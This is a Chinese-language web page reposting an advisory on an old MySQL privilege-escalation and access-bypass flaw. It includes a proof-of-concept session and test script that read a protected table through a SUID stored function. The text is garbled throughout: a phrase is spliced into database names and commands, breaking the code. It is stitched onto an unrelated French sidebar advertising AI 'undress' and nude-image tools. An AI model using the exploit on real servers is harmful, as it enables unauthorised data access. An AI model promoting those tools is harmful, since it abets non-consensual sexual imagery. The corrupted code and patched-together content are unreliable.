MySQL权限提升与安全限制问题探讨
以下的文章主要讲述的是MySQL权限提升与安全限制绕过漏洞的实际应用,我前几天在相关网站看见MySQL权限提升与安全限制绕过漏洞的实际应用的资料,觉得挺好,今天就拿出来供大家分享。 受影响系统: MySQL(和PHP搭配之最佳组合) AB MySQL(和PHP搭配之最佳组合
以下的文章主要讲述的是MySQL权限提升与安全限制绕过漏洞的实际应用,我前几天在相关网站看见MySQL权限提升与安全限制绕过漏洞的实际应用的资料,觉得挺好,今天就拿出来供大家分享。
受影响系统:
MySQL(和PHP搭配之最佳组合) AB MySQL(和PHP搭配之最佳组合)
描述:
BUGTRAQ ID: 19559
MySQL(和PHP搭配之最佳组合)是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。
在MySQL(和PHP搭配之最佳组合)上,拥有访问权限但无创建权限的用户可以创建与所访问数据库仅有名称字母大小写区别的新数据库。成功利用这个漏洞要求运行MySQL(和PHP搭配之最佳组合)的文件系统支持区分大小写的文件名。
此外,由于在错误的安全环境中计算了suid例程的参数,攻击者可以通过存储的例程以例程定义者的权限执行任意DML语句。成功攻击要求用户对所存储例程拥有EXECUTE权限。
测试方法:
【警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!】
1、创建数据库
<ol class="dp-xml"> <li class="alt"><span><span>$ MySQL(和PHP搭配之最佳组合) -h my.MySQL(和PHP搭配之最佳组合).server -u sample -p -A sample </span></span></li> <li><span>Enter password: </span></li> <li class="alt"><span>Welcome to the MySQL(和PHP搭配之最佳组合) monitor. Commands end with ; or \g. </span></li> <li><span>Your MySQL(和PHP搭配之最佳组合) connection id is 263935 to server version: 4.1.16-standard </span></li> <li class="alt"> <span>MySQL(和PHP搭配之最佳组合)</span><span class="tag">></span><span> create database another; </span> </li> <li><span>ERROR 1044: Access denied for user 'sample'@'%' to database 'another' </span></li> <li class="alt"> <span>MySQL(和PHP搭配之最佳组合)</span><span class="tag">></span><span> create database sAmple; </span> </li> <li><span>Query OK, 1 row affected (0.00 sec) </span></li> </ol>
2、权限提升
<ol class="dp-xml"> <li class="alt"><span><span>--disable_warnings </span></span></li> <li><span>drop database if exists MySQL(和PHP搭配之最佳组合)test1; </span></li> <li class="alt"><span>drop database if exists MySQL(和PHP搭配之最佳组合)test2; </span></li> <li><span>drop function if exists f_suid; </span></li> <li class="alt"><span>--enable_warnings </span></li> <li><span># Prepare playground </span></li> <li class="alt"><span>create database MySQL(和PHP搭配之最佳组合)test1; </span></li> <li><span>create database MySQL(和PHP搭配之最佳组合)test2; </span></li> <li class="alt"><span>create user malory@localhost; </span></li> <li><span>grant all privileges on MySQL(和PHP搭配之最佳组合)test1.* to malory@localhost; </span></li> <li class="alt"><span># Create harmless (but SUID!) function </span></li> <li><span>create function f_suid(i int) returns int return 0; </span></li> <li class="alt"><span>grant execute on function test.f_suid to malory@localhost; </span></li> <li><span>use MySQL(和PHP搭配之最佳组合)test2; </span></li> <li class="alt"><span># Create table in which malory@localhost will be interested but to which </span></li> <li><span># he won't have any access </span></li> <li class="alt"><span>create table t1 (i int); </span></li> <li><span>connect (malcon, localhost, malory,,MySQL(和PHP搭配之最佳组合)test1); </span></li> <li class="alt"><span># Correct malory@localhost don't have access to MySQL(和PHP搭配之最佳组合)test2.t1 </span></li> <li><span>--error ER_TABLEACCESS_DENIED_ERROR </span></li> <li class="alt"><span>select * from MySQL(和PHP搭配之最佳组合)test2.t1; </span></li> <li><span># Create function which will allow to exploit security hole </span></li> <li class="alt"><span>delimiter |; </span></li> <li><span>create function f_evil () </span></li> <li class="alt"><span>returns int </span></li> <li><span>sql security invoker </span></li> <li class="alt"><span>begin </span></li> <li> <span>set @</span><span class="attribute">a:</span><span>= </span><span class="attribute-value">current_user</span><span>(); </span> </li> <li class="alt"> <span>set @</span><span class="attribute">b:</span><span>= (select count(*) from MySQL(和PHP搭配之最佳组合)test2.t1); </span> </li> <li><span>return 0; </span></li> <li class="alt"><span>end| </span></li> <li><span>delimiter ;| </span></li> <li class="alt"><span># Again correct </span></li> <li><span>--error ER_TABLEACCESS_DENIED_ERROR </span></li> <li class="alt"><span>select f_evil(); </span></li> <li><span>select @a, @b; </span></li> <li class="alt"><span># Oops!!! it seems that f_evil() is executed in the context of </span></li> <li><span># f_suid() definer, so malory@locahost gets all info that he wants </span></li> <li class="alt"><span>select test.f_suid(f_evil()); </span></li> <li><span>select @a, @b; </span></li> <li class="alt"><span>connection default; </span></li> <li><span>drop user malory@localhost; </span></li> <li class="alt"><span>drop database MySQL(和PHP搭配之最佳组合)test1; </span></li> <li><span>drop database MySQL(和PHP搭配之最佳组合)test2; </span></li> </ol>
建议:
厂商补丁:MySQL(和PHP搭配之最佳组合) AB,目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载。

Outils d'IA chauds

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool
Images de déshabillage gratuites

Clothoff.io
Dissolvant de vêtements AI

AI Hentai Generator
Générez AI Hentai gratuitement.

Article chaud

Outils chauds

Bloc-notes++7.3.1
Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)

MySQL est un système de gestion de base de données relationnel open source. 1) Créez une base de données et des tables: utilisez les commandes CreateDatabase et CreateTable. 2) Opérations de base: insérer, mettre à jour, supprimer et sélectionner. 3) Opérations avancées: jointure, sous-requête et traitement des transactions. 4) Compétences de débogage: vérifiez la syntaxe, le type de données et les autorisations. 5) Suggestions d'optimisation: utilisez des index, évitez de sélectionner * et utilisez les transactions.

Vous pouvez ouvrir PHPMYADMIN via les étapes suivantes: 1. Connectez-vous au panneau de configuration du site Web; 2. Trouvez et cliquez sur l'icône PHPMYADMIN; 3. Entrez les informations d'identification MySQL; 4. Cliquez sur "Connexion".

Vous pouvez créer une nouvelle connexion MySQL dans NAVICAT en suivant les étapes: ouvrez l'application et sélectionnez une nouvelle connexion (CTRL N). Sélectionnez "MySQL" comme type de connexion. Entrez l'adresse Hostname / IP, le port, le nom d'utilisateur et le mot de passe. (Facultatif) Configurer les options avancées. Enregistrez la connexion et entrez le nom de la connexion.

MySQL est un système de gestion de la base de données relationnel open source, principalement utilisé pour stocker et récupérer les données rapidement et de manière fiable. Son principe de travail comprend les demandes des clients, la résolution de requête, l'exécution des requêtes et les résultats de retour. Des exemples d'utilisation comprennent la création de tables, l'insertion et la question des données et les fonctionnalités avancées telles que les opérations de jointure. Les erreurs communes impliquent la syntaxe SQL, les types de données et les autorisations, et les suggestions d'optimisation incluent l'utilisation d'index, les requêtes optimisées et la partition de tables.

MySQL et SQL sont des compétences essentielles pour les développeurs. 1.MySQL est un système de gestion de base de données relationnel open source, et SQL est le langage standard utilisé pour gérer et exploiter des bases de données. 2.MySQL prend en charge plusieurs moteurs de stockage via des fonctions de stockage et de récupération de données efficaces, et SQL termine des opérations de données complexes via des instructions simples. 3. Les exemples d'utilisation comprennent les requêtes de base et les requêtes avancées, telles que le filtrage et le tri par condition. 4. Les erreurs courantes incluent les erreurs de syntaxe et les problèmes de performances, qui peuvent être optimisées en vérifiant les instructions SQL et en utilisant des commandes Explication. 5. Les techniques d'optimisation des performances incluent l'utilisation d'index, d'éviter la numérisation complète de la table, d'optimiser les opérations de jointure et d'améliorer la lisibilité du code.

Redis utilise une architecture filetée unique pour fournir des performances élevées, une simplicité et une cohérence. Il utilise le multiplexage d'E / S, les boucles d'événements, les E / S non bloquantes et la mémoire partagée pour améliorer la concurrence, mais avec des limites de limitations de concurrence, un point d'échec unique et inadapté aux charges de travail à forte intensité d'écriture.

La récupération des lignes supprimées directement de la base de données est généralement impossible à moins qu'il n'y ait un mécanisme de sauvegarde ou de retour en arrière. Point clé: Rollback de la transaction: Exécutez Rollback avant que la transaction ne s'engage à récupérer les données. Sauvegarde: la sauvegarde régulière de la base de données peut être utilisée pour restaurer rapidement les données. Instantané de la base de données: vous pouvez créer une copie en lecture seule de la base de données et restaurer les données après la suppression des données accidentellement. Utilisez la déclaration de suppression avec prudence: vérifiez soigneusement les conditions pour éviter la suppression accidentelle de données. Utilisez la clause WHERE: Spécifiez explicitement les données à supprimer. Utilisez l'environnement de test: testez avant d'effectuer une opération de suppression.

MySQL est choisi pour ses performances, sa fiabilité, sa facilité d'utilisation et son soutien communautaire. 1.MySQL fournit des fonctions de stockage et de récupération de données efficaces, prenant en charge plusieurs types de données et opérations de requête avancées. 2. Adoptez l'architecture client-serveur et plusieurs moteurs de stockage pour prendre en charge l'optimisation des transactions et des requêtes. 3. Facile à utiliser, prend en charge une variété de systèmes d'exploitation et de langages de programmation. 4. Avoir un solide soutien communautaire et fournir des ressources et des solutions riches.
